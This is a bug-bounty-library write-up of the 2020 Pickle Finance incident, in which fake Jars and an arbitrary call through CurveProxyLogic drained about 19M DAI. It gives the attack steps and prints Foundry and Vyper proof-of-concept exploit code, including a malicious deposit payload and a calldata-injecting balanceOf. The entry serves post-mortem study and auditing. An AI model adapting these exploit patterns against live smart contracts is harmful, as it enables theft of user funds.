# Pickle Finance: Evil Jar drains 19M DAI via swap

Pickle Controller's swapExactJarForJar lacked Jar validation and CurveProxyLogic allowed arbitrary calls, letting an attacker drain 19M DAI from pDAI strategy.

- Payout: Real-world hack
- Severity: critical
- Program: Pickle Finance
- Analysis by: DeFiHackLabs
- Disclosed: 2020-11-21
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2020-11/Pickle_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20201121-pickle
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity technique:chained technique:source-review vuln:access-control vuln:business-logic

**Target:** ControllerV4 swapExactJarForJar and CurveProxyLogic converter
**Root cause:** Controller did not verify that _fromJar/_toJar were legitimate Jars, and CurveProxyLogic.add_liquidity performed an arbitrary call to an attacker-supplied target with attacker-controlled calldata in the Controller's context.
**Steps:**
1. Deploy EvilJar implementing token/getRatio/decimals/transfer/transferFrom/approve/allowance/balanceOf/withdraw/deposit, with deposit() transferring tokens from Controller to attacker.
2. Deploy FakeUnderlying whose balanceOf returns the target address, injecting the first argument of the arbitrary call.
3. Call ControllerV4.swapExactJarForJar(EvilJar, EvilJar, 0, 0, targets, datas) with targets all set to CurveProxyLogic.
4. datas[0] = CurveProxyLogic.add_liquidity(STRAT, withdrawAll(), 1, 0, CDAI) to withdraw strategy funds.
5. datas[1..5] = add_liquidity(PDAI, earn(), 1, 0, CDAI) to move funds into pDAI.
6. datas[6] = add_liquidity(STRAT, withdraw(address), 1, 0, FakeUnderlying(CDAI)) to seize cDAI treated as dust.
7. EvilJar.deposit() drains the Controller's token balance to the attacker.
**How found:** Researchers reviewed the newly added swapExactJarForJar feature and noticed it never validates Jar contracts, and that CurveProxyLogic.add_liquidity builds calldata from attacker-controlled underlying.balanceOf and calls an arbitrary curve address.
**Exploitation:** Attacker passed EvilJars as both from and to Jar; Controller approved and called deposit() on the EvilJar, which transferred the Controller's token balance to the attacker. Arbitrary calls via CurveProxyLogic.add_liquidity let the attacker invoke Strategy.withdrawAll(), pDAI.earn(), and Strategy.withdraw(cDAI), pulling cDAI (mistaken for dust) out of the strategy into the Controller, then draining it.
**Escalation:** Chained fake-Jar validation bypass with CurveProxyLogic arbitrary call to first move strategy funds into pDAI, then withdraw cDAI as 'dust', then drain via EvilJar.deposit().
**Insight:** When a protocol adds a 'swap between vaults' feature, check whether it trusts caller-supplied vault addresses and whether any approved converter performs delegatecall/arbitrary call using values read from attacker-controlled token contracts (balanceOf return values become calldata arguments).

## Proof of concept (copied exactly from the original report)

**Foundry exploit calling swapExactJarForJar with fake jars**

```
function testExploit() public {
        uint256 earns = 5;

        address[] memory targets = new address[](earns + 2);
        bytes[] memory datas = new bytes[](earns + 2);
        for (uint256 i = 0; i < earns + 2; i++) {
            targets[i] = address(CURVE_LOGIC);
        }
        datas[0] = arbitraryCall(STRAT, "withdrawAll()");
        for (uint256 i = 0; i < earns; i++) {
            datas[i + 1] = arbitraryCall(address(PDAI), "earn()");
        }
        datas[earns + 1] = arbitraryCall(STRAT, "withdraw(address)", address(CDAI));

        emit log_named_decimal_uint("Before exploiting, Attacker cDAI Balance", CDAI.balanceOf(address(msg.sender)), 8);

        console.log("DAI balance on pDAI", DAI.balanceOf(address(PDAI)));

        CONTROLLER.swapExactJarForJar(address(new FakeJar(CDAI)), address(new FakeJar(CDAI)), 0, 0, targets, datas);
```

**EvilJar deposit payload draining Controller tokens**

```
@external
def deposit(amt: uint256): # payload
 self.token.transferFrom(msg.sender, self.owner, amt)
```

**FakeUnderlying balanceOf injecting withdraw target**

```
@view
@external
def balanceOf(src: address) -> (address):
 return self.target
```

